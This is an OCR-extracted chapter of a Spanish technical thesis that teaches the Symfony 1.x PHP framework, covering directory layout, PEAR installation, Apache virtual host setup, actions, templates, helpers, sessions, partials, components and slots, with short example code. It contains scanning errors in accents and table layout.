cacheada de las acciones y plantillas del proyecto. EI mecanismo de cache utiliza los archivos
de este directorio para acelerar la respuesta a las peticiones web. Cada aplicacion contiene un
subdirectorio que guarda todos los archivos PHP y HTML™ pre procesados.

config/ Almacena la configuracién general del proyecto

data/ En este directorio se almacenan los archivos relacionados con los datos, como por
ejemplo el esquema de una base de datos, el archivo que contiene las instrucciones SQL™ para
crear las tablas e incluso un archivo de bases de datos de SQLite*”.

doc/ Contiene la documentacion del proyecto, formada por tus propios documentos y por la
documentacion generada por PHPdoc.

lib/ Almacena las clases y librerias externas. Se suele guardar todo el codigo comun a todas las

aplicaciones del proyecto. El subdirectorio model/ guarda el modelo de objetos del proyecto.

10 http://es.wikipedia.org/wiki/Script

11 http://es.wikipedia.org/wiki/Procesamiento_por_lotes

12 HyperText Markup Language (lenguaje de marcado de hipertexto)

13 Lenguaje de consulta estructurado declarativo de acceso a bases de datos relacionales
14 http://es.wikipedia.org/wiki/SQL.ite
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log/ Guarda todos los archivos de log generados por Symfony. También se puede utilizar para
guardar los logs del servidor web, de la base de datos o de cualquier otro componente del
proyecto. Symfony crea un archivo de log por cada aplicacion y por cada entorno.

plugins/ Almacena los plugins instalados en la aplicacién.

test/ Contiene las pruebas unitarias y funcionales escritas en PHP y compatibles con el
framework de pruebas de Symfony. Cuando se crea un proyecto, Symfony crea algunos
pruebas basicas.

web/ La raiz del servidor web. Los Unicos archivos accesibles desde Internet son los que se

encuentran en este directorio.
Estructura de cada Aplicacion

config/ Contiene un montén de archivos de configuracion creados con YAML™. Aqui se
almacena la mayor parte de la configuracién de la aplicacion, salvo los parametros propios del
framework. También es posible redefinir en este directorio los pardmetros por defecto si es
necesario.

i18n/ Contiene todos los archivos utilizados para la internacionalizacion de la aplicacion, sobre
todo los archivos que traducen la interfaz'®. La internacionalizacion también se puede realizar
con una base de datos, en cuyo caso este directorio no se utilizaria.

lib/ Contiene las clases y librerias utilizadas exclusivamente por la aplicacién.

modules/ Almacena los médulos que definen las caracteristicas de la aplicacién.

templates/ Contiene las plantillas globales de la aplicacion, es decir, las que utilizan todos los
maodulos. Por defecto contiene un archivo llamado layout.php, que es el layout principal con el

gue se muestran las plantillas de los médulos.
Estructura de Cada Mddulo

actions/ Normalmente contiene un Gnico archivo llamado actions.class.php y que corresponde
a la clase que almacena todas las acciones del modulo. También es posible crear un archivo
diferente para cada accion del médulo.

config/ Puede contener archivos de configuracion adicionales con pardmetros exclusivos del
maodulo

lib/ Almacena las clases y librerias utilizadas exclusivamente por el modulo.

15 http://es.wikipedia.org/wiki/Y AML
16 http://www.alegsa.com.ar/Dic/interfaz.php
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templates/ Contiene las plantillas correspondientes a las acciones del médulo. Cuando se crea
un nuevo maédulo, automéaticamente se crea la plantilla llamada indexSuccess.php.

validate/ Contiene archivos de configuracion relacionados con la validacion de formularios.
Estructura del sitio web

css/ Contiene los archivos de hojas de estilo creados con CSS (archivos con extension .css).
images/ Contiene las imagenes del sitio con formato .jpg, .png o .gif.

js/ Contiene los archivos de JavaScript con extension .js.

uploads/ Se almacenan los archivos subidos por los usuarios. Aunque normalmente este
directorio contiene imégenes, no se debe confundir con el directorio que almacena las
iméagenes del sitio (images/). Esta distincion permite sincronizar los servidores de desarrollo y

de produccion sin afectar a las imagenes subidas por los usuarios.

2.4. Herramientas comunes

En esta seccion mostraremos técnicas que se utilizan una y otra vez en Symfony:

24.1.

» Contenedor de parametros
» Constantes (configuraciones)

» Carga automatica de clases

Contenedor de Parametros

Se trata de una forma eficiente de encapsular'’ los atributos y asi poder utilizar métodos getter y setter

sencillos.

La clase sfResponse por ejemplo incluye un contenedor de pardmetros que se puede obtener mediante

el método getParameterHolder().

$respuesta->getParameterHolder()->set('parametro’, 'valor');
echo $respuesta->getParameterHolder()->get('parametro’);
=>'valor'

// Formato abreviado

$respuesta->setParameter(‘parametro’, 'valor');

echo $respuesta->getParameter(‘parametro’);

=> 'valor

17 http://es.wikipedia.org/wiki/Encapsulamiento_(inform%C3%A1tica)
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Afadir contenedores de parametros a tus propias clases:

class MiClase

{

protected $contenedor_parametros = null;

public function initialize ($parametros = array())

{

$this->contenedor_parametros = new sfParameterHolder();
$this->contenedor_parametros->add($parametros);

¥

public function getContenedorParametros()

{
return $this->contenedor_parametros;
}
}

2.4.2. Constantes (Configuraciones)

Symfony no define casi ninguna constante. La razon es que las constantes tienen el inconveniente de
no poderse modificar su valor una vez definidas.
Por este motivo, Symfony utiliza su propio objeto para almacenar la configuracion, llamado sfConfig,

y que reemplaza a las constantes.

/I En vez de constantes de PHP,
define('MI_CONSTANTE', ‘valor");
echo MI_CONSTANTE;

/l Symfony utiliza el objeto sfConfig
sfConfig::set('mi_constante', 'valor’);

echo sfConfig::get('mi_constante’);
2.4.3. Carga Automética de Clases

Normalmente, cuando se utiliza un método de una clase o cuando se crea un objeto en PHP, se debe

incluir antes la definicion de esa clase.

12
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include ‘clases/MiClase.php’;
$miObjeto = new MiClase();

En los proyectos complejos con muchas clases y una estructura de directorios con muchos niveles,
requiere mucho trabajo incluir todas las clases necesarias indicando correctamente la ruta de cada
clase.

Symfony incluye una funcion'® spl_autoload_register() para evitar la necesidad de los include y asi

poder escribir directamente:

$miObjeto = new MiClase();
En este caso, Symfony busca la definicion de la clase MiClase en todos los archivos con extension .php
que se encuentran en alguno de los directorios lib/ del proyecto. Si se encuentra la definicion de la

clase, se incluye de forma automatica.
2.5.Instalar Symfony

Symfony es un framework creado con PHP 5 por lo que es necesario disponer de esta version.
Formas de instalar Symfony:

» Sandbox

» PEAR

» SVN

En nuestro caso explicaremos el método mas utilizado PEAR

El paquete PEAR de Symfony incluye las librerias propias de Symfony y todas sus dependencias.
Ademas, también contiene un script que permite extender la linea de comandos del sistema para que
funcione el comando symfony.

Para instalar Symfony de esta manera, en primer lugar se debe afadir el canal Symfony a PEAR
mediante este comando:

> pear channel-discover pear.symfony-project.com

Una vez afiadido el canal, ya es posible instalar la dltima version estable de Symfony mediante el
siguiente comando:

> pear install symfony/symfony

18 Es un grupo de instrucciones con un objetivo en particular
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Después de haber realizado la operacion anterior ya se habrd instalado la version actual de symfony.
Para asegurarse de que se ha instalado correctamente, ejecuta: symfony —V y se verificara la version de

symfony instalada.
2.5.1. Crear una aplicacion web:
Seguiremos dos pasos:
» Crear el proyecto
» Crear la aplicacion
2.5.2. Crear el proyecto:

> mkdir ~/miproyecto
> cd ~/miproyecto

> symfony generate:project miproyecto

Symfony creard la estructura basica del proyecto
2.5.3. Crear la aplicacion:

> php symfony generate:app miaplicacion

El comando anterior crea un directorio llamado miaplicacion/ dentro del directorio apps/ que se
encuentra en la raiz del proyecto.

Por defecto se crea una configuracion bésica de la aplicacion y una serie de directorios para la
aplicacion.

En el directorio web del proyecto también se crean algunos archivos™® PHP correspondientes a los

controladores frontales de cada uno de los entornos de ejecucion de la aplicacion:
2.5.4. Configurar el servidor web:

Los scripts que se encuentran en el directorio web/ son los Gnicos puntos de entrada a la aplicacion.
Por este motivo, debe configurarse el servidor web para que puedan ser accedidos desde Internet.

Para ello configuraremos un servidor virtual en Apache.

19 Un archivo o fichero informético es un conjunto de bits almacenado en un dispositivo
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2.5.5. Configurar un servidor virtual:

Ejemplo en apache/conf/httpd.conf
<VirtualHost *>
ServerName miaplicacion.ejemplo.com
DocumentRoot "/home/carlos/miproyecto/web™
DirectorylIndex index.php
Alias /sf /$sf_symfony_data_dir/web/sf
<Directory "/$sf_symfony_data_dir/web/sf">
AllowOverride All
Allow from All
</Directory>
<Directory "/home/carlos/miproyecto/web">
AllowOverride All
Allow from All
</Directory>
</VirtualHost>

En la configuracion, se debe sustituir la variable?® $sf_symfony data_dir por la ruta real del
directorio de datos de Symfony.

Para poder probar el ejemplo anterior en nuestro propio ordenador de desarrollo, afiadiremos la
siguiente linea a /etc/hosts

127.0.0.1 miaplicacion.ejemplo.com

Una vez configurado, reiniciamos Apache®! y accederemos a la aplicacion en el navegador® en la
direccion:

http://miaplicacion.ejemplo.com/miaplicacion_dev.php/

20 Es un espacio de memoria reservado para almacenar un valor que corresponde a un tipo de dato
21 http://es.wikipedia.org/wiki/Apache
22 http://es.wikipedia.org/wiki/Navegador_web
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IN] 1.1.0-DEV| (“ivars &config | O logs & msgs | iff; 48252KB | (1) 911 ms

Symfony Project Created

Congratulations! You have successfully created your symfony project.

Project setup successful

This project uses the symfony libraries. If you see no image in this page, you may need
to configure your web server so that it gains access to the symfony data/web/sf/
directory.

This is a temporary page

This page is part of the symfony de fault module. It will disappear as soon as you
define a homepage route in your routing. yml.

What's next
Q Create your data model
’\,9 Customize the layout of the generated templates

[ Learn more from the online documentation

Figura 4 Creacion proyecto symfony
Fuente: [http://www.librosweb.es/symfony_1_2/]

Symfony utiliza la reescritura de URL?® para mostrar "URL limpias" en la aplicacion, es decir, URL
con mucho sentido, optimizadas para buscadores y que ocultan a los usuarios los detalles técnicos
internos de la aplicacion.
Para que funcione correctamente la reescritura de URL, es necesario que Apache esté compilado® con
el médulo mod_rewrite o al menos que esté instalado el médulo mod_rewrite como médulo DSO. En
este ultimo caso, la configuracion de Apache debe contener las siguientes lineas en el archivo
httpd.conf.

AddModule mod_rewrite.c

LoadModule rewrite_module

modules/mod_rewrite.so
2.6. Introduccién a la Creacion de Paginas

En esta seccion se muestra como crear un médulo, que es el elemento que agrupa a las paginas.

También se aprende como crear una pagina, que a su vez se divide en una accion y una plantilla,
siguiendo la arquitectura MVC. Las interacciones basicas con las paginas se realizan mediante enlaces
y formularios, por lo que también se muestra como incluirlos en las plantillas y como manejarlos en las

acciones.

2.6.1. Crear el esqueleto del modulo

23 http://es.wikipedia.org/wiki/Localizador_uniforme_de_recursos
24 http://es.wikipedia.org/wiki/C%C3%B3digo_compilado
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Antes de crear una pagina es necesario crear un modulo, que inicialmente no es mas que una estructura

vacia de directorios y archivos.

> cd ~/miproyecto

> symfony generate:module miaplicacion mimodulo

>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo

>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/actions

>> file+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/actions/actions.class.php
>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/config

>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/lib

>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/templates

>> file+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/templates/indexSuccess.php
>> dir+ ~/miproyecto/apps/miaplicacion/modules/mimodulo/validate

>> file+ ~/miproyecto/test/functional/miaplicacion/mimoduloActionsTest.php

>> tokens ~/miproyecto/test/functional/miaplicacion/mimoduloActionsTest.php

>> tokens ~/miproyecto/apps/miaplicacion/modules/mimodulo/actions/actions.class.php

>> tokens ~/miproyecto/apps/miaplicacion/modules/mimodulo/templates/indexSuccess.php

El archivo actions.class.php redirige la accidn a la pagina de bienvenida del médulo por defecto.
El archivo templates/indexSuccess.php esta vacio.

<?php

class mimoduloActions extends sfActions

{

public function executelndex()

{

$this->forward('default’, 'module”);

}

Para visualizar la pagina generada:

http://miaplicacion.ejemplo.com/miaplicacion_dev.php/mimodulo/index

2.6.2. Anfadir una Pagina
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La I6gica o cadigo de las paginas se define en la accién
La presentacion se define en las plantillas®. (Las paginas estaticas que no requieren de ninguna ldgica

necesitan definir una accion vacia)
2.6.3. Afadir una Accion

La pagina que muestra el mensaje "jHola Mundo!" serd accedida mediante una accion llamada
miAccion.

Para crearla, solamente es necesario afiadir el método executeMiAccion en la clase mimoduloActions.

<?php
class mimoduloActions extends sfActions
{
public function executeMiAccion()
}

El nombre del método de la accion siempre es execute + Xxxxxxx + (), donde la segunda parte del
nombre es el nombre de la accidn con la primera letra en mayusculas.

Para acceder a la pagina:

http://miaplicacion.ejemplo.com/miaplicacion_dev.php/mimodulo/miAccion

Symfony mostrara un mensaje de error indicando que la plantilla miAccionSuccess.php no existe. Se
trata de un error normal por el momento, ya que las paginas siempre estan formadas por una accion® y

una plantilla.
2.6.4. Afadir una Plantilla

La accion espera una plantilla para mostrarse en pantalla.
Una plantilla es un archivo que esta ubicado en el directorio templates/ de un moédulo, y su nombre

estd compuesto por el nombre de la accion y el resultado de la misma. El resultado por defecto es

25 Es un medio o0 aparato o sistema, que permite guiar, portar, o construir, un disefio 0 esquema predefinido.
26 Ejecutar determinadas acciones
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success (exitoso), por lo que el archivo de plantilla que se crea para la accion miAccion se llamara
miAccionSuccess.php.

La plantilla mimodulo/templates/miAccionSuccess.php

<p>jHola, mundo!</p>
2.6.5. Transfiriendo Informacion de la Accidn a la Plantilla

La tarea de la accion es realizar los calculos complejos, obtener datos, realizar comprobaciones, y crear
o inicializar las variables necesarias para que se presenten o se utilicen en la plantilla.
Los atributos de la clase de la accion (disponibles via $this->nombreDeVariable en la accion), estén

directamente accesibles en la plantilla en el &mbito global (via $nombreVariable).
2.6.6. Ejemplo

Accion Plantilla

<?php
<p>jHola, Mundo!</p>

<?php if ($hora >= 18): 7>

class mimoduloActions extends sfActions

{
<p>Quizéas deberia decir buenas tardes. Ya son las <?
2
public function executeMiAccion() php echo $hora ?>.</p>
{ <?php endif; ?>
$hoy = getdate();
$this->hora = $hoy['hours'];
}
}

2.6.7. Formularios

Se pueden incluir elementos de formulario? en las plantillas de manera tradicional, pero Symfony

provee helpers que hacen mucho mas sencilla esta tarea.
2.6.7.1. Helper:

» Funcion PHP definida en Symfony que esta pensada para ser utilizada desde las plantillas.
» Devuelven algo de codigo HTML.
» Es més rapido de usar que insertar el codigo HTML manualmente.

27 Se llama formulario a una pagina con espacios vacios que han de ser rellenados con alguna finalidad
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2.6.7.2. Plantilla con Helper

<p>ijHola, Mundo!</p>
<?php if ($hora >= 18): 7>
<p>Quizas deberia decir buenas tardes. Ya son las <?php echo $hora ?>.</p>
<?php endif; ?>
<?php echo form_tag('mimodulo/otraAccion’) ?>
<?php echo label_for('nombre', ';Cémo te llamas?") ?>
<?php echo input_tag('nombre") ?>
<?php echo submit_tag('Ok") ?>

</form>
2.6.8. Obteniendo informacion de la peticién

El método getRequestParameter() del objeto sfActions permite recuperar desde la accion los datos
relacionados con la informacion que envia el usuario a través de un formulario (normalmente en una

peticion POST?) o a través de la URL (mediante una peticién GET?).

<?php
class mimoduloActions extends sfActions

{

public function executeOtraAccion()

{

$this->nombre = $this->getRequestParameter('nombre");

¥
¥

2.6.9. Obteniendo Informacion de la Peticion

Desde la plantilla se tiene acceso a un objeto llamado $sf_params, el cual ofrece un método get() para

recuperar los parametros de la peticion, tal y como el método getRequestParameter() en la accion.

<p>Hola, <?php echo $sf_params->get(‘nombre’) ?>!</p>

28 Esta caracteristica permite que los usuarios envien tanto archivos de texto como binarios
29 Permite enviar datos entre paginas
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2.7. MVC en Symfony

La implementacion del MVC que realiza Symfony:

» La capa del Modelo
-> Abstraccion de la base de datos
=> Acceso a los datos
» Lacapade la Vista
= Vista
= Plantilla
- Layout
» La capa del Controlador
=> Controlador frontal

=> Accién

En total son siete scripts. Afortunadamente, Symfony simplifica este proceso.

En primer lugar, el controlador® frontal y el layout® son comunes para todas las acciones de la
aplicacion. Se pueden tener varios controladores y varios layouts, pero solamente es obligatorio tener
uno de cada. El controlador frontal es un componente que sélo tiene codigo relativo al MVC, por lo

que no es necesario crear uno, ya que Symfony lo genera de forma automatica.

Las clases de la capa del modelo se generan automaticamente, en funcion de la estructura de datos de

la aplicacion.

> La libreria Propel® se encarga de esta generacion automatica, ya que crea el esqueleto o
estructura basica de las clases y genera automéaticamente el c6digo necesario.

» Cuando Propel encuentra restricciones de claves foraneas (o externas) o cuando encuentra
datos de tipo fecha, crea métodos especiales para acceder y modificar esos datos, por lo que la
manipulacion de datos se simplifica.

> La abstraccion de la base de datos es completamente invisible al programador, ya que la

realiza otro componente especifico llamado Creole®.

30 Plantilla web principal del proyecto web
31 Esqueleto comln para un proyecto web
32 http://es.wikipedia.org/wiki/Propel_(PHP)

21



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Por altimo, la légica de la vista se puede transformar en un archivo de configuracion sencillo, sin

necesidad de programarla.
2.7.1. MVC: Controlador

La capa del controlador contiene el codigo que liga la ldgica de negocio con la presentacion.
Esté dividida en varios componentes que se utilizan para diversos propdsitos:
» Controlador frontal
=> Unico punto de entrada a la aplicacion.
-> Carga la configuracion y determina la accion a ejecutarse.
» Acciones
- Contienen la I6gica de la aplicacion.
-> Verifican la integridad de las peticiones
-> Preparan los datos requeridos por la capa de presentacion.
» Objetos request, response y session
-> Dan acceso a los parametros de la peticion, las cabeceras de las respuestas y a los datos
persistentes del usuario.

=> Se utilizan muy a menudo en la capa del controlador.

2.7.1.1. Filtros

Trozos de c6digo ejecutados para cada peticion, antes o después de una accion.
Por ejemplo, los filtros de seguridad y validacion son comtinmente utilizados en aplicaciones web.

Puedes extender el framework creando tus propios filtros.
2.7.1.2. El Controlador Frontal

Todas las peticiones web son manejadas por un solo controlador frontal.

Cuando el controlador frontal recibe una peticién, utiliza el sistema de enrutamiento® para asociar el
nombre de una accién y el nombre de un médulo con la URL escrita (o pinchada) por el usuario.

Por ejemplo, la siguientes URL llama al script index.php (que es el controlador frontal) y seré

entendido como llamada a la accion miAccion del médulo mimodulo:

33 Software integrado a symfony para la abstraccion de datos
34 Funcion de buscar un camino entre todos los posibles
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http://miaplicacion.ejemplo.com/index.php/mimodulo/miAccion
2.7.1.3. Acciones

Contienen toda la Idgica de la aplicacion.
Las acciones utilizan el modelo y definen variables para la vista. Cuando se realiza una peticién web en

una aplicacion Symfony, la URL define una accion y los pardametros de la peticion.

Obteniendo Informacion en las Acciones:
class mimoduloActions extends sfActions

{

public function executelndex()

{
// Obteniendo parametros de la peticién
$password = $this->getRequestParameter(‘password’);
/I Obteniendo informacién del controlador
$nombreModulo = $this->getModuleName();
$nombreAccion = $this->getActionName();
// Obteniendo objetos del nicleo del framework
$peticion = $this->getRequest();
$sesionUsuario = $this->getUser();
$respuesta = $this->getResponse();
$controlador = $this->getController();
$contexto = $this->getContext();
/I Creando variables de la accién para pasar informacién a la
plantilla
$this->setVar('parametro’, 'valor');

$this->parametro = 'valor'; // Version corta.

}

En una accion, el método getContext() devuelve el singletonde un objeto muy util que guarda una
referencia a todos los objetos del nicleo de Symfony relacionados con una peticion dada, y ofrece un

método accesor para cada uno de ellos:

sfController: El objeto controlador (->getController())
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sfRequest: El objeto de la peticion (->getRequest())
sfResponse: El objeto de la respuesta (->getResponse())
sfUser: El objeto de la sesidn del usuario (->getUser())
sfDatabaseConnection: La conexion a la base de datos (->getDatabaseConnection())
sfLogger: El objeto para los logs (->getLogger())
sfI18N: El objeto de internacionalizacion (->getl18N())
Se puede llamar al singleton sfContext::getInstance() desde cualquier parte del codigo.

Terminacion de las Acciones:
=> Existen varias alternativas posibles.
=> El valor retornado por el método de la accion determina como serd producida la
vista. Para especificar la plantilla que se utiliza al mostrar el resultado de la accion, se
emplean las constantes de la clase sfView.
-> Si existe una vista por defecto que se debe llamar, la accion deberia terminar de la
siguiente manera:
return sfView::SUCCESS;
= Symfony buscaré entonces una plantilla llamada nombreAccionSuccess.php (por
defecto)
- Si se omite la sentencia return en el método de la accién, Symfony también
buscara una plantilla Ilamada nombreAccionSuccess.php.
=> Las acciones vacias también siguen este comportamiento.
Success
return sfView::SUCCESS;
Error
return sfView::ERROR;
Personalizada
return '"MiResultado’;
No utilizar ninguna vista
return sfView::NONE;
So6lo cabeceras (por ejemplo la cabecera X-JSON)
return sfView::HEADER_ONLY;
Saltando a Otra Accion:
En algunos casos, la ejecucién de un accion termina solicitando la ejecucion de otra accion.
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=> Si la accion pasa la llamada hacia otra accion (forward):

$this->forward('

otroModulo’, ‘index");

-> Si la accion produce un redireccionamiento web (redirect):

$this->redirect(‘otroModulo/index");

$this->redirect(*http://www.google.com/*);

2.7.1.4. Accediendo a la peticion

25

Nombre

| Funcién

| Ejemplo de salida producida

Informacion sobre la peticion

Devuelve la constante

getMethod() Método de la peticion | sfRequest::GET o
sfRequest::POST
getMethodName() Nombre del método de POST

peticién

getHttpHeader('Server’)

Valor de una cabecera
HTTP

Apache/2.0.59 (Unix) DAV/2
PHP/5.1.6

getCookie('foo") Valor de una cookie valor
. ¢ES una peticién
isXmlIHttpRequest() (1) AJAX? true
isSecure() ¢ES una peticion SSL? | true
Parametros de la peticién
hasParameter(‘parametro”) ¢Existe e_I p,arametro true
en la peticion?
getParameter('parametro’) Valor del parametro valor

getParameterHolder()->getAll()

Array de todos los pardmetros de la peticion

getUri()

URI completa

http://localhost/miaplicacion_d
ev.php/mimo

getPathlInfo()

Informacidn de la ruta

/mimodulo/miaccion

getReferer() (2)

Valor del "referer" de
la peticidn

http://localhost/miaplicacion_d
ev.php/

getHost()

Nombre del Host

localhost

getScriptName()

Nombre y ruta del
controlador frontal

miaplicacion_dev.php

Informacion del navegador del cli

ente

getLanguages()

Array de los lenguajes
aceptados

Array( [0] =>es [1] =>es_CA
[2] =>en_US[3]=>en)

getCharsets()

Array de los juegos de
caracteres aceptados

Array( [0] => 1SO-8859-1 [1]
=>UTF-8 [2] =>*)

getAcceptableContentType()

Array de los tipos de
contenidos aceptados

Array( [0] => text/xml [1] =>
text/ntml

Tabla 1 Métodos en symfony

Fuente: [http://www.librosweb.es/symfony_1_2/]
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2.7.1.5. Sesiones de Usuario:

Symfony maneja automaticamente las sesiones del usuario y es capaz de almacenar datos de forma
persistente entre peticiones.
class mimoduloActions extends sfActions

{

public function executePrimeraPagina()

{

$nombre = $this->getRequestParameter(‘nombre’);
// Guardar informacion en la sesion del usuario
$this->getUser()->setAttribute('nombre’, $nombre);
}

public function executeSegundaPagina()

{

/I Obtener informacion de la sesién del usuario con un valor por
defecto
$nombre = $this->getUser()->getAttribute (‘'nombre’, 'An6nimo’);

¥

Eliminando informacion de la sesién del usuario.

class mimoduloActions extends sfActions

{
public function executeBorraNombre()
{
$this->getUser()->getAttributeHolder()->remove('nombre’);
¥
public function executeLimpia()
{
$this->getUser()->getAttributeHolder()->clear();
}
}
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2.7.2. MVC: Vista

Se encarga de producir las paginas que se muestran como resultado de las acciones.
La vista en Symfony esta compuesta por diversas partes, estando cada una de ellas especialmente
preparada para que pueda ser facilmente modificable por la persona que normalmente trabaja con cada

aspecto del disefio de las aplicaciones.
2.7.2.1. Plantillas

Su contenido est& formado por cdédigo HTML y algo de codigo PHP sencillo, normalmente llamadas a
las variables definidas en la accion y algunos helpers.

Plantilla de ejemplo indexSuccess.php:

<h1>Bienvenido</h1>

<p>jHola de nuevo, <?php echo $nombre ?>1</p>

<ul>¢Qué es lo que quieres hacer?
<li><?php echo link_to('Leer los ultimos articulos', ‘articulo/leer") ?></li>
<li><?php echo link_to('Escribir un nuevo articulo', 'articulo/escribir') ?></li>

</ul>
2.7.2.2. Helpers

Los helpers son funciones de PHP que devuelven cédigo HTML y que se utilizan en las plantillas.

<?php echo input_tag('nick’) ?> => <input type="text" name="nick" id="nick" value="" />

Helpers de Symfony:

Helper: se necesita para incluir otros helpers.

Tag: helper bésico para etiquetas y que utilizan casi todos los helpers.

Url: helpers para la gestion de enlaces y URL.

Asset: helpers que afiaden elementos a la seccién <head> del cédigo HTML y que proporcionan
enlaces sencillos a elementos externos (imagenes, archivos JavaScript, hojas de estilo, etc.).

Partial: helpers que permiten incluir trozos de plantillas.

Cache: manipulacion de los trozos de cddigo que se han afiadido a la cache.

Form: helpers para los formularios

Ademas disponemos de la posibilidad de crear nuestros propios helpers.
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2.7.2.3. Layout de las Paginas

Las plantillas anteriores no son un documento XHTML vélido. Le faltan la definicion del DOCTYPE®
y las etiquetas <html>y <body>.

El motivo es que estos elementos se encuentran en otro lugar de la aplicacién, un archivo llamado
layout.php que contiene el layout de la pagina.

Este archivo, que también se denomina plantilla global, almacena el cédigo HTML que es comdn a
todas las paginas de la aplicacién, para no tener que repetirlo en cada pagina.

El contenido de la plantilla se integra en el layout:

Layouil Layaut

Template B Template

Final Paga
Figura 5 Plantilla global proyecto symfony
Fuente [ http://www.librosweb.es/symfony_1_2/]

2.7.2.4. Fragmentos de Cdadigo

En ocasiones es necesario incluir cierto cddigo HTML o PHP en varias paginas.

Symfony define 3 alternativas:

Elementos parciales (partial): Si el fragmento contiene poca ldgica, se puede utilizar un archivo de
plantilla al que se le pasan algunas variables.

Componentes (component): Si la légica es compleja (por ejemplo se debe acceder a los datos del
modelo o se debe variar los contenidos en funcion de la sesion) es preferible separar la presentacion de
la l6gica.

Slot: Si el fragmento va a reemplazar una zona especifica del layout, para la que puede que exista un

contenido por defecto.
2.7.24.1. Partial

Es un trozo de cddigo de plantilla que se puede reutilizar.

35 Este elemento es el de informar al navegador qué tipo de documento esta a punto de procesar
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Por ejemplo, en una aplicacion de publicacién, el codigo de plantilla que se encarga de mostrar un
articulo se utiliza en la pagina de detalle del articulo, en la pagina que lista los mejores articulo y en la

pagina que muestra los ultimos articulos.

Artiche Detail Best Artiches Latast Articles
Article Partial Articla Partial Articla Partial
Articla Partial Article Partial
Articla Partial Articla Partial

Figura 6 Partial
Fuente: [http://www.librosweb.es/symfony_1 2/]
Son archivos que se encuentran en el directorio templates/, y que contienen cédigo HTML y c6digo
PHP.
El nombre del archivo de un elemento parcial siempre comienza con un guion bajo ().
Los elementos parciales se incluyen mediante el helper® include_partial(), al que se le pasa como

parametro el nombre del mddulo y el nombre del elemento parcial.

/I Incluir el elemento parcial de
miaplicacion/modules/mimodulo/templates/_miparciall.php

// Como la plantilla y el elemento parcial estan en el mismo médulo,
/I se puede omitir el nombre del médulo

<?php include_partial('miparciall’) ?>

I Incluir el elemento parcial de
miaplicacion/modules/otromodulo/templates/_miparcial2.php

/I En este caso es obligatorio indicar el nombre del médulo

<?php include_partial(‘otromodulo/miparcial2’) 7>

/' Incluir el elemento parcial de miaplicacion/templates/_miparcial 3.php
/I Se considera que es parte del mddulo 'global’

<?php include_partial('global/miparcial3’) ?>

No tienen acceso automatico a las variables definidas por la accion que ha incluido la plantilla en la
que se encuentra el elemento parcial.

La plantilla pasa la variable al elemento parcial, en mimodulo/templates/indexSuccess.php:

36 Un helper es una funcioén, definida por Symfony, que puede tener parametros y devolver codigo HTML
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<p>jHola Mundo!</p>

<?php include_partial('miparcial’, array('mitotal' => $total)) ?>
2.7.2.4.2. Componentes

Al igual que el patron MVC se aplica a las acciones y las plantillas, es posible dividir un elemento
parcial en su parte de logica y su parte de presentacion. En este caso, se necesitan los componentes.

Un componente es como una accién, solo que mucho mas réapido.

La l6gica del componente se guarda en una clase que hereda de sfComponents y que se debe guardar
en el archivo action/components.class.php.

Su presentacion se guarda en un elemento parcial.

Los métodos de la clase sfComponents empiezan con la palabra execute, como sucede con las
acciones, y pueden pasar variables a su presentacion de la misma forma en la que se pasan variables en
las acciones.

Los elementos parciales que se utilizan como presentacion de un componente, se deben llamar igual
gue los componentes, sustituyendo la palabra execute por un guion bajo.

La clase de los componentes, en:

modules/news/actions/components.class.php

<?php
class newsComponents extends sfComponents
{
public function executeHeadlines()
{
$c¢ = new Criteria();
$c-
>addDescendingOrderByColumn(NewsPeer::PUBLISHED_A
T
$c->setLimit(5);
$this->news = NewsPeer::doSelect($c);
}
}
El elemento parcial, en:
modules/news/templates/_headlines.php
<div>

<h1>Ultimas noticias</h1>
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<ul>
<?php foreach($news as $headline): 7>
<li>
<?php echo $headline->getPublishedAt() ?>
<?php echo link_to($headline->getTitle(),'news/show?id=".$headline-
>getld()) 7>
</li>
<?php endforeach ?>
</ul>
</div>

Cada vez gue se necesite el componente en una plantilla, se puede incluir de la siguiente forma:

<?php include_component(‘'news", ‘headlines’) 7>

Templale

"~ Headlins Sidebar

I T DB P LD B LT .

Headlines Companent Logic
Haadlines Partial Presentation

Figura 7 Componentes
Fuente: [http://www.librosweb.es/symfony_1 2/]

2.7.2.43. Slot

En muchas ocasiones se necesitan fragmentos de codigo que rellenen un layout con més de una zona
variable.
Por ejemplo:
Se puede necesitar afiadir etiquetas personalizadas en la seccién <head*"> del layout en funcion
del contenido de la accion.
También se puede dar el caso de un layout que tiene una zona de contenidos dindmicos que se
rellena con el resultado de la accién y muchas otras zonas pequefias que tienen un contenido

por defecto definido en el layout pero que puede ser modificado en la plantilla.

37 Corresponde al encabezado de la pagina Web
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Un slot es una zona que se puede definir en cualquier elemento de la vista (layout, plantilla o elemento
parcial).

La forma de rellenar esa zona es similar a establecer el valor de una variable.

El codigo de relleno se almacena de forma global en la respuesta, por lo que se puede definir en
cualquier sitio (layout, plantilla o elemento parcial).

Se debe definir un slot antes de utilizarlo y también hay que tener en cuenta que el layout se ejecuta
después de la plantilla (durante el proceso de decoracion) y que los elementos parciales se ejecutan
cuando los llama una plantilla.

Imaginemos que se dispone de un layout con una zona para la plantillay 2 slots.

El valor de los slots se define en la plantilla.

Durante el proceso de decoracion, el layout integra en su interior el cédigo de la plantilla, por lo que
los slots se rellenan con los valores que se han definido anteriormente. De esta forma, el lateral y el pie
de pégina pueden depender de la accion. Se puede aproximar a la idea de tener un layout con uno o

mas agujeros que se rellenan con otro codigo.

Template Layout Layout
Slot Template Slot Template
* 1 = 1
Slot 1
Sint 2 Slat 2
Slot 2

Figura 8 Slot de pagina
Fuente: [http://www.librosweb.es/symfony_1 2/]

Incluir un slot llamado lateral en el layout:

<div id="lateral">

<?php if (has_slot('lateral’)): ?>
<?php include_slot('lateral’) ?>

<?php else: 7>
<I-- codigo del lateral por defecto -->
<h1>Zona cuyo contenido depende del contexto</h1>
<p>Esta zona contiene enlaces e informacién sobre
el contenido principal de la pagina.</p>

<?php endif; ?>

</div>

Redefiniendo el contenido del slot lateral en la plantilla:
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<?php slot('lateral’) 7>
<!-- Codigo especifico para el lateral de esta plantilla -->
<hl>Detalles del usuario</h1>
